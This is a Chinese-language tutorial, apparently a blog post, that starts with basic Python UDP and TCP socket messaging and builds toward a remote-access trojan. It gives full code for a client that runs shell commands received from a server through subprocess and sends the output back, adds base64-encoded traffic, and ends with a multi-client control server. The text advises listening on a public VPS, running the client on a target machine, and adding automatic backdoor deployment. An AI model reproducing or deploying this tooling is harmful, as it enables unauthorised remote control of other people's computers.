&lt;p&gt;&lt;strong&gt;print(data)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;print(clientAddr)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/python-socket-rat/666c4570b1-1WzdhmUfCaRjGDl.png&quot; alt=&quot;image-20231210204104011&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;那现在c.py这里有发送方法了，那如果c.py这里也进行接收的话，这时候该怎么写？就是完成两边通信的效果，s.py和c.py可以相互通信&lt;/p&gt;
&lt;p&gt;因为在程序执行期间，clientAddr会持续占用之前返回过来的端口号63828，所以我们只要朝这个clientAddr去发就行了&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;s.sendto(b&apos;world&apos;,clientAddr)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;那现在c.py这里要怎么写？直接接收就行了&lt;/p&gt;
&lt;p&gt;data,serverAddr = c.recvfrom(1024)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;print(data)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;然后在服务端我们还能再整一整，格式化一下输出(f&apos;&apos;)，这里已知clientAddr是一个元组类型，那我们在输出的时候可以这么输出&lt;/p&gt;
&lt;p&gt;print(f&apos;{clientAddr[0]}:{clientAddr[1]} &amp;gt; {data}&apos;)&lt;/p&gt;
&lt;p&gt;客户端改一改就行&lt;/p&gt;
&lt;p&gt;print(f&apos;{serverAddr[0]}:{serverAddr[1]} &amp;gt; {data}&apos;)&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/python-socket-rat/6039b88828-image-20231210212818391.png&quot; alt=&quot;image-20231210212818391&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;然后我们还发现data是个bytes类型我们对它直接data.decode()就可以解码了&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/python-socket-rat/e1484438a4-image-20231210213409727.png&quot; alt=&quot;image-20231210213409727&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;再次强调&lt;strong&gt;注意服务器与主机之间所有的通信都是bytes类型的&lt;/strong&gt;所以才需要str和bytes类型之间的相互编码解码来完成一个数据正常传输的效果&lt;/p&gt;
&lt;p&gt;接下来我们引入一个新的库，第三方库，&lt;strong&gt;subprocess&lt;/strong&gt;，它其实就是一个执行命令的库，这时候我们引用一个&lt;strong&gt;getoutput函数&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/python-socket-rat/b78d36bd6a-image-20231210224510395.png&quot; alt=&quot;image-20231210224510395&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们来看一下参数，首先encoding和errors都有一个默认值我们就不需要输入了，我们就看第一个cmd的参数bytes/str类型，就譬如&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;data = subprocess.getoutput(&apos;ls&apos;)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;print(data)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/python-socket-rat/0d6714af83-image-20231210224721129.png&quot; alt=&quot;image-20231210224721129&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;非常简单嘛，就是一个命令执行的结果&lt;/p&gt;
&lt;p&gt;接下来我们修改一下c.py的内容&lt;/p&gt;
&lt;h3&gt;2、固定信息双向通信&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;服务端向客户端发送一句world，客户端向服务端发送一句hello，代码的含义以及推演过程在第一部分都已经说了哈&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;1)服务端&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;import socket

#设定服务器地址
serverAddr = (&apos;127.0.0.1&apos;,12260)

#创建 socket 并且绑定到服务器地址
s = socket.socket(type=socket.SOCK_DGRAM)
s.bind(serverAddr)

#开始监听端口，接收 1024 个字节
data,clientAddr = s.recvfrom(1024)
print(f&apos;{clientAddr[0]}:{clientAddr[1]} &amp;gt; {data.decode()}&apos;)

#朝发送端，发送数据
s.sendto(&apos;world&apos;.encode(),clientAddr)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;&lt;strong&gt;2)客户端&lt;/strong&gt;&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;import socket

#设定服务器地址
serverAddr = (&apos;127.0.0.1&apos;,12260)

#创建 socket 连接
c = socket.socket(type=socket.SOCK_DGRAM)

#开始向服务器地址发送数据
c.sendto(b&apos;hello&apos;,serverAddr)

#开始监听端口，等待数据发送回来
data,serverAddr = c.recvfrom(1024)
print(f&apos;{serverAddr[0]}:{serverAddr[1]} &amp;gt; {data.decode()}&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3)效果展示&lt;/h4&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/python-socket-rat/4077598c93-image-20231210215121661.png&quot; alt=&quot;image-20231210215121661&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;注意如果客户端和服务端两个都先接收不发送就会发送&lt;strong&gt;堵死&lt;/strong&gt;的情况&lt;/p&gt;
&lt;p&gt;在c.py中在发送之前再写一句&lt;strong&gt;c.recvfrom(1024)&lt;/strong&gt;,就会看见python标志两边都是绿色的，两边都在执行，但是两边都在等数据，数据发不过来，没有人先动&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/python-socket-rat/afcff73898-image-20231210215706844.png&quot; alt=&quot;image-20231210215706844&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h3&gt;3、手动输入信息单向通信&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;客户端输入消息，服务端接收消息&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;1)服务端&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;import socket

#配置服务端监听的地址和端口
serverAddr = (&apos;127.0.0.1&apos;,1226)

#使用UDP协议传输
s = socket.socket(type=socket.SOCK_DGRAM)

#绑定服务端地址和端口
s.bind(serverAddr)

#设置循环变量num
num=1

#接受客户端的数据并解码
while True:
    data,serverAddr = s.recvfrom(1024)
    print(f&apos;第{num}次收到的数据为:{data.decode()}&apos;)
    num+=1
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2)客户端&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;import  socket

#绑定服务端地址和端口
serverAddr = (&apos;127.0.0.1&apos;,1226)

#使用UDP协议传输
c = socket.socket(type=socket.SOCK_DGRAM)

#输入数据并将数据编码发送给服务端
while True:
    data = input(&apos;要输入的数据:&apos;)
    c.sendto(data.encode(),serverAddr);
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3)效果展示&lt;/h4&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/python-socket-rat/5b12f711da-image-20231210223021600.png&quot; alt=&quot;image-20231210223021600&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h3&gt;4、多线程手动输入双向通信&lt;/h3&gt;
&lt;h4&gt;1)服务端&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;import socket
import threading

def receive_messages():
    while True:
        try:
            data, clientAddr = s.recvfrom(1024)
            print(f&apos;收到来自 {clientAddr[0]}:{clientAddr[1]} 的消息：{data.decode()}&apos;)
            # 将收到的消息保存在列表中
            received_messages.append((data, clientAddr))
        except socket.error:
            pass  # 如果没有收到消息，继续循环

def process_messages():
    while True:
        if received_messages:
            data, clientAddr = received_messages.pop(0)  # 获取收到的消息队列的第一个消息
            reply = input(f&apos;回复消息给 {clientAddr[0]}:{clientAddr[1]}: &apos;)
            s.sendto(reply.encode(), clientAddr)

# 配置服务端监听的地址和端口
serverAddr = (&apos;127.0.0.1&apos;, 1226)
# 使用UDP协议传输
s = socket.socket(type=socket.SOCK_DGRAM)
# 绑定服务端地址和端口
s.bind(serverAddr)

# 设置为非阻塞模式
s.setblocking(False)

# 用于保存收到的消息的列表
received_messages = []

# 启动接收消息和处理消息的线程
receive_thread = threading.Thread(target=receive_messages)
process_thread = threading.Thread(target=process_messages)

receive_thread.start()
process_thread.start()
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2)客户端&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;import socket
import threading

def send_messages():
    while True:
        try:
            data = input(&apos;输入要发送的数据: &apos;)
            c.sendto(data.encode(), serverAddr)
        except socket.error:
            pass  # 如果发送失败，继续循环

def receive_messages():
    while True:
        try:
            response, server = c.recvfrom(1024)
            print(f&apos;收到来自服务端的消息: {response.decode()}&apos;)
        except socket.error:
            pass  # 如果没有接收到消息，继续循环

# 配置服务端地址和端口
serverAddr = (&apos;127.0.0.1&apos;, 1226)
# 使用UDP协议传输
c = socket.socket(type=socket.SOCK_DGRAM)
# 绑定客户端地址和端口
c.bind((&apos;127.0.0.1&apos;, 0))  # 绑定到任何可用端口

# 启动发送和接收消息的线程
send_thread = threading.Thread(target=send_messages)
receive_thread = threading.Thread(target=receive_messages)

send_thread.start()
receive_thread.start()
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3)效果展示&lt;/h4&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/python-socket-rat/9139c12e27-image-20231210222819421.png&quot; alt=&quot;image-20231210222819421&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h3&gt;5、远控基础展示&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;这里引用的是subprocess这个库，别搞错了，基础这里服务端和客户端是一对一的关系，没有用到多线程，进阶才用到一对多的多线程关系&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;1)服务端&lt;/strong&gt;&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;import socket

# 设定服务器地址
serverAddr = (&apos;127.0.0.1&apos;, 1226)

# 创建 socket 并且绑定到服务器
s = socket.socket(type=socket.SOCK_DGRAM)
s.bind(serverAddr)

# 开始监听端口，接收 1024 个字节(接收数据和对端地址)
data, clientAddr = s.recvfrom(10240)

while 1:
    # 输入shell指令
    msg = input(f&apos;{clientAddr[0]}:{clientAddr[1]} &amp;gt; &apos;)
    # 向客户端发送shell指令
    s.sendto(msg.encode(), clientAddr)
    # recv只接收前面的类型，也就是只接收数据没有再接收地址了(这里也不需要再接收对端的地址了)
    print(s.recv(10240).decode())
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2)客户端&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;import socket
import subprocess

# 设定服务器地址
serverAddr = (&apos;127.0.0.1&apos;, 1226)

# 创建 socket 连接
c = socket.socket(type=socket.SOCK_DGRAM)

# 开始向服务器地址发送数据，这里的这个hello是必须发的，不然服务端不知道客户端的地址
c.sendto(b&apos;hello&apos;, serverAddr)

# 开始监听端口，等待数据发送回来
while True:
    # 接收服务端发送过来的shell指令和服务端的地址
    data, serverAddr = c.recvfrom(10240)
    # 由于subprocess.getoutput()函数需要一个字符串类型的命令作为参数，我们将接收到的数据(指令)进行解码
    command = data.decode()
    # 进程间的通信都是bytes类型，因此执行完命令后结果还要进行编码，再发回去给服务端
    output = subprocess.getoutput(command).encode()
    c.sendto(output, serverAddr)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3)效果展示&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;服务端输入命令客户端进行执行并返回结果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/python-socket-rat/8b4bd61bb7-image-20231210234230742.png&quot; alt=&quot;image-20231210234230742&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;4)实战运用思路&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;首先在公网vps服务端开启监听&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;然后在目标机器执行客户端程序&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;5)远控基础展示优化点&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;远控流程:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;服务器发送指令=&amp;gt;客户端执行=&amp;gt;客户端发送给服务器&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;优化点:&lt;/strong&gt;&lt;/p&gt;
&lt;h5&gt;&lt;strong&gt;1、数据加密&lt;/strong&gt;(这里以b64加密为例)&lt;/h5&gt;
&lt;h6&gt;1.服务端&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;import base64
import socket

# 设定服务器地址
serverAddr = (&apos;127.0.0.1&apos;, 1226)

# 创建 socket 并且绑定到服务器
s = socket.socket(type=socket.SOCK_DGRAM)
s.bind(serverAddr)

# 开始监听端口，接收 1024 个字节(接收数据和对端地址)
data, clientAddr = s.recvfrom(10240)

while 1:
    # 输入shell指令
    msg = input(f&apos;{clientAddr[0]}:{clientAddr[1]} &amp;gt; &apos;)
    #把要发送的shell指令进行base64的编码加密,由于这个b64encode()需要bytes类型，所以得先把str编码成bytes类型
    msg = base64.b64encode(msg.encode())
    # 由于之前已经编码成bytes类型了，这里直接向客户端发送shell指令
    s.sendto(msg, clientAddr)
    # recv只接收前面的类型，也就是只接收数据没有再接收地址了,后面的from就不需要了(本来不是recvfrom()嘛，这里也不需要再接收对端的地址了)
    msg1 = s.recv(10240)
    #将接收到的指令进行b64的解码
    msg2 = base64.b64decode(msg1)
    #将解码后的bytes类型再解码成str类型
    msg3 = msg2.decode()
    #输出命令执行后的str类型结果
    print(msg3)
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;2.客户端&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;import base64
import socket
import subprocess

# 设定服务器地址
serverAddr = (&apos;127.0.0.1&apos;, 1226)

# 创建 socket 连接
c = socket.socket(type=socket.SOCK_DGRAM)

# 开始向服务器地址发送数据
c.sendto(b&apos;hello&apos;, serverAddr)

# 开始监听端口，等待数据发送回来
while 1:
    # 接收服务端发送过来的shell指令和服务端的地址
    data, serverAddr = c.recvfrom(10240)

    # 解码接收到的数据
    msg = base64.b64decode(data).decode()

    # 执行shell指令并获取结果
    msg1 = subprocess.getoutput(msg)

    # 对结果进行base64编码后发送给服务端
    msg2 = base64.b64encode(msg1.encode())
    c.sendto(msg2, serverAddr)
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;3.效果展示&lt;/h6&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/python-socket-rat/b5b4732c88-image-20231211103149922.png&quot; alt=&quot;image-20231211103149922&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h5&gt;2、搭建TCP连接(远控终端基础)&lt;/h5&gt;
&lt;h6&gt;1.搭建TCP连接思路&lt;/h6&gt;
&lt;p&gt;这里用UDP的方法并不好，所以此时用TCP的方法会比较合适，&lt;strong&gt;TCP是一个默认的模式&lt;/strong&gt;，我们就不需要再去设置type类型了&lt;/p&gt;
&lt;p&gt;我们绑定端口是不是要等待对方连接？连接的话这时候就有一个新的函数了&lt;/p&gt;
&lt;p&gt;---&lt;strong&gt;connect()&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在客户端c.py输入c.connect(serverAddr)我们&lt;strong&gt;主动的去连接对方&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;那现在s.py服务端绑定完地址后其实不能直接等待客户端连接的，我们需要做一个&lt;strong&gt;服务端监听&lt;/strong&gt;，这时候又需要有一个函数---&lt;strong&gt;accept()&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在服务端s.py输入s.accept()我们做一个监听&lt;/p&gt;
&lt;p&gt;现在服务端的参数还不够，我们还得设置一下&lt;strong&gt;监听数量(最大连接数量)&lt;/strong&gt;，又引进一个新函数---&lt;strong&gt;listen()&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;继续在服务端s.py输入s.listen(10)，设置监听10台主机&lt;/p&gt;
&lt;p&gt;此时我们看看效果&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/python-socket-rat/ad5a5b0629-image-20231211111614927.png&quot; alt=&quot;image-20231211111614927&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;可以发现服务端返回的输出&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(&amp;lt;socket.socket fd=452, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=(&apos;127.0.0.1&apos;, 1226), raddr=(&apos;127.0.0.1&apos;, 18468)&amp;gt;, (&apos;127.0.0.1&apos;, 18468))  #成功监听
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;那这个过程，在服务端创建监听，在客户端尝试连接这个过程，其实就是TCP三次握手的代码化&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这里服务端它返回了一个元组，这个元组返回的值有两项&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/python-socket-rat/41607d2f12-image-20231211111944380.png&quot; alt=&quot;image-20231211111944380&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;​	它返回了一个socket连接和一个Any，这socket|socket中其中一个是自己创建的socket连接，另一个是指向客户端的socket连接，有两个对象嘛，看上面，前面的返回的一个socket&amp;lt;socket.socket fd=452, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=(&apos;127.0.0.1&apos;, 1226), raddr=(&apos;127.0.0.1&apos;, 18468)&amp;gt;，后面返回的一个Any是客户端的地址(&apos;127.0.0.1&apos;, 18468)&lt;/p&gt;
&lt;p&gt;​	&lt;strong&gt;我们主要看看前面的socket，我们在执行完之后会有两条socket连接，socket指向了一个laddr(本地地址)和raddr(客户端的地址) ，所以是socket|socket&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这时候我们就拥有了clientSocket和clientAddr&lt;/p&gt;
&lt;p&gt;创建两个对象来接收数据&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;clientSocket，clientAddr = s.accept()&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;那这时候怎么发送数据呢？&lt;/p&gt;
&lt;p&gt;发送数据就不需要像UDP连接那样再找clientAddr&lt;/p&gt;
&lt;p&gt;因为我们TCP三次握手已经完成，这里直接找clientSocket就行&lt;/p&gt;
&lt;p&gt;也不需要sendto直接用send发送数据&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;clientSocket.send(b&apos;hi&apos;)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;同时在客户端创建一个接收&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;c.recv(1024)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们来测试一下效果&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/python-socket-rat/a6947c8017-image-20231211113543913.png&quot; alt=&quot;image-20231211113543913&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;客户端成功收到消息&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TCP与UDP有什么不同？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;UDP是监听别人发送过来的消息&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;UDP本身就是无连接的协议，所以收发消息直接朝IP和端口发送就行&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;TCP是监听客户端的连接&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;TCP是有连接协议，经过三次握手后socket就会建立一个新的连接，这个连接就是和对方的桥梁&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;当然这只是单向的服务端往客户端发送消息，我们可以再&lt;strong&gt;优化一下实现TCP连接双向固定消息发送&lt;/strong&gt;，如下代码所示&lt;/p&gt;
&lt;h6&gt;2.服务端&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;import socket

# 设定服务器地址
serverAddr = (&apos;127.0.0.1&apos;, 1226)

# 创建 socket 绑定到服务器地址，并且定义最大连接数量
s = socket.socket()
s.bind(serverAddr)
s.listen(10)

#等待客户端连接(TCP三次握手)
clientSocket,clientAddr = s.accept()
#给客户端发送消息
clientSocket.send(b&apos;hello&apos;)
#接收并输出客户端传来的消息
print(clientSocket.recv(10240).decode())
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;3.客户端&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;import socket

# 设定服务器地址
serverAddr = (&apos;127.0.0.1&apos;, 1226)

# 创建 socket 连接
c = socket.socket()
c.bind((&apos;127.0.0.1&apos;,4399))

# 连接到指定服务器(TCP三次握手)
c.connect(serverAddr)

# 接收服务端的消息
msg = c.recv(1024)

# 打印出服务端的消息
print(msg.decode())

# 给服务端发送数据
c.send(b&apos;world&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;4.效果展示&lt;/h6&gt;
&lt;p&gt;&lt;strong&gt;实现简单的消息收发效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/python-socket-rat/902d3eb0eb-image-20231211205856190.png&quot; alt=&quot;image-20231211205856190&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;三、远控终端(进阶)&lt;/h2&gt;
&lt;p&gt;​	&lt;strong&gt;多线程、一对多的关系&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;(一个服务端可以有很多客户端进行连接)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​	&lt;strong&gt;用python运行，远控就是远程控制，代码都是需要自己手敲的，还可以添加很多功能譬如自动化、自动后门部署、自动信息收集、自动大马等，都可以在服务端添加进新的代码进行优化升级&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;1、服务端&lt;/h3&gt;
&lt;h4&gt;1)代码&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;#Socket Server

import socket
from threading import Thread

# 定义函数，用于打印不同颜色的文本
def font_color(text, foreground=30, background_color=False, ftype=0):
    foreground = 32 if text == &apos;[+]&apos; else 31 if text == &apos;[-]&apos; else 34 if text == &apos;[*]&apos; else foreground
    if background_color:
        return &apos;\033[{};{};{}m{}\033[0m&apos;.format(ftype, foreground, background_color, text)
    else:
        return &apos;\033[{};{}m{}\033[0m&apos;.format(ftype, foreground, text)

# 设置服务器地址和端口
serverAddr = (&apos;127.0.0.1&apos;, 12260)

# 创建一个 socket 实例并绑定到服务器地址
s = socket.socket()
s.bind(serverAddr)

# 开始监听传入连接
s.listen(10)
print(f&apos;{font_color(&quot;[+]&quot;)} 开始监听&apos;)

# 设置端口复用，允许重新使用地址
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, True)

# 客户端列表和下一个可用的客户端 ID
clientList = []
next_client_id = 1  # 计数器，表示下一个客户端的 ID

# 处理新客户端连接的函数
def listen():
    global next_client_id
    while True:
        # 接受客户端连接
        clientSocket, clientAddr = s.accept()

        # 将新客户端添加到列表并显示信息
        clientList.append([next_client_id, clientAddr, clientSocket])
        print(f&apos;{font_color(&quot;[+]&quot;)}{clientAddr[0]}:{clientAddr[1]} 添加到列表&apos;)

        # 启动新线程处理客户端消息
        Thread(target=handle_client, args=([next_client_id, clientAddr, clientSocket],)).start()
        next_client_id += 1  # 为下一个客户端更新计数器

# 处理客户端消息的函数
def handle_client(client_info):
    client_id, client_addr, client_socket = client_info
    while True:
        try:
            # 输入命令
            msg = input(f&apos;PS &amp;gt; &apos;)
            msg = msg.split()

            # 检查输入是否为空
            if len(msg) == 0:
                print(&quot;请输入命令&quot;)
                continue

            # 检查命令并执行相应操作
            if msg[0] == &apos;check&apos;:
                # 显示客户端列表
                print(&apos;\tid\tip/port&apos;)
                disconnected_clients = []

                # 检查客户端连接状态
                for idx, client in enumerate(clientList):
                    try:
                        client[2].send(b&apos;dir&apos;)  # 发送一个测试消息
                        client[2].recv(1024)
                    except ConnectionResetError:
                        disconnected_clients.append(idx)

                # 移除断开连接的客户端
                for disconnected_idx in disconnected_clients:
                    client_id = clientList[disconnected_idx][0]
                    print(f&quot;Client {client_id} 断开连接&quot;)
                    clientList.pop(disconnected_idx)

                # 打印当前客户端列表
                for client in clientList:
                    print(f&apos;\t{client[0]}\t{client[1][0]}:{client[1][1]}&apos;)
                print()

            elif msg[0] == &apos;shell&apos;:
                # 处理 shell 命令
                if len(msg) &amp;lt; 2:
                    print(&quot;请输入要连接的客户端 ID&quot;)
                    continue

                client_id_to_connect = msg[1]
                client_found = False

                # 遍历客户端列表查找要连接的客户端
                for client in clientList:
                    if client_id_to_connect == str(client[0]):
                        client_found = True
                        while True:
                            clientMsg = input(f&apos;{client[1][0]}:{client[1][1]} &amp;gt; &apos;)
                            if clientMsg == &quot;&quot;:
                                continue
                            elif clientMsg == &apos;exit&apos;:
                                break
                            else:
                                client[2].send(clientMsg.encode())
                                print(client[2].recv(10240).decode())
                        break

                if not client_found:
                    print(&quot;找不到指定的客户端 ID&quot;)

            elif msg[0] == &apos;remove&apos;:
                # 处理 remove 命令
                try:
                    client_id_to_remove = int(msg[1])
                    for idx, client in enumerate(clientList):
                        if client[0] == client_id_to_remove:
                            clientList.pop(idx)
                            print(f&quot;Client {client_id_to_remove} 已移除&quot;)
                            break
                    reset_client_ids()
                except (IndexError, ValueError):
                    print(&quot;请输入有效的客户端 ID&quot;)

        except ConnectionResetError:
            # 处理客户端断开连接
            print(f&quot;Client {client_id} 断开连接&quot;)
            for idx, client in enumerate(clientList):
                if client[0] == client_id:
                    clientList.pop(idx)
                    break
            break

# 重置客户端 ID 计数器
def reset_client_ids():
    global next_client_id
    next_client_id = 1
    for idx, client in enumerate(clientList):
        client[0] = next_client_id
        next_client_id += 1

# 启动监听线程
Thread(target=listen).start()
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2)作用&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;用于建立一个python socket server。作用如下:

    监听连接请求： 使用 socket 库创建一个服务器套接字并绑定到指定的 IP 地址和端口上（这里是 127.0.0.1:12260）。s.listen(10) 告诉服务器接受多少个客户端连接请求。

    接受客户端连接： 使用 accept() 方法等待并接受来自客户端的连接。一旦有客户端连接请求到达，它将被接受并创建一个新的套接字对象以用于与该客户端通信。

    处理客户端请求： 为每个连接到服务器的客户端启动一个新的线程（使用 Thread 模块），这样服务器可以同时处理多个客户端的请求。在这个线程中，服务器可以接收来自客户端的命令，并根据命令做出相应的处理，比如执行命令、发送数据等。

    客户端管理： 服务器代码中有对客户端列表的管理。它可以追踪连接到服务器的客户端，并允许管理员通过命令进行查看、控制和移除特定客户端。

    安全性和错误处理： 这个简化的例子可能没有涵盖所有的安全性和错误处理。一个完整的生产级别的服务器可能需要更多的安全性考虑，比如对于输入的验证、异常处理等方面的处理。

这种服务器的应用场景通常用于远程控制、远程监控或者远程命令执行等。客户端可以通过连接到服务器与服务器进行通信，并根据服务器发送的指令执行相应的操作。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2、客户端&lt;/h3&gt;
&lt;h4&gt;1)代码&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;#Socket Client

import socket
import subprocess

# 设定服务器地址和端口
serverAddr = (&apos;127.0.0.1&apos;, 12260)

# 创建一个 socket 连接
c = socket.socket()

# 连接到指定的服务器（TCP三次握手）
c.connect(serverAddr)

while True:
    # 接收来自服务器的命令
    command = c.recv(10240).decode()

    # 检查是否收到退出命令，如果是则退出循环
    if command.strip() == &apos;exit&apos;:
        break

    # 执行收到的命令并获取结果
    try:
        result = subprocess.getoutput(command)
    except Exception as e:
        result = str(e)

    # 将执行结果发送回服务器
    c.send(result.encode())

# 关闭连接
c.close()
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2)作用&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;一个基本的客户端程序，用于与指定的服务器进行通信。作用如下:

    建立连接： 客户端使用 socket 库建立与服务器的连接。在这种情况下，它连接到本地主机（127.0.0.1）的特定端口（12260）。

    接收命令： 通过循环，客户端持续接收来自服务器的命令。

    执行命令： 客户端使用 subprocess 库执行接收到的命令。它通过调用系统命令行执行这些命令，然后获取命令执行的结果。

    发送结果： 执行命令后，客户端将命令执行的结果发送回服务器。

    退出连接： 当服务器发送退出命令时，客户端终止循环并关闭连接。

这种类型的程序常用于服务器与客户端之间的远程命令执行或者控制，服务器发送命令给客户端，客户端执行命令并将结果返回给服务器。这种模型常见于远程管理、远程控制等应用场景中。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3、效果展示&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;服务端开启监听，客户端运行&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/python-socket-rat/c8c4672002-image-20231210175439584.png&quot; alt=&quot;image-20231210175439584&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;check是用来显示已经建立连接的主机(id/地址/端口号)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;shell i(i是指代连接主机shell的id)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;譬如要连接id=1的主机的shell就shell 1&lt;/strong&gt;&lt;/p&gt;
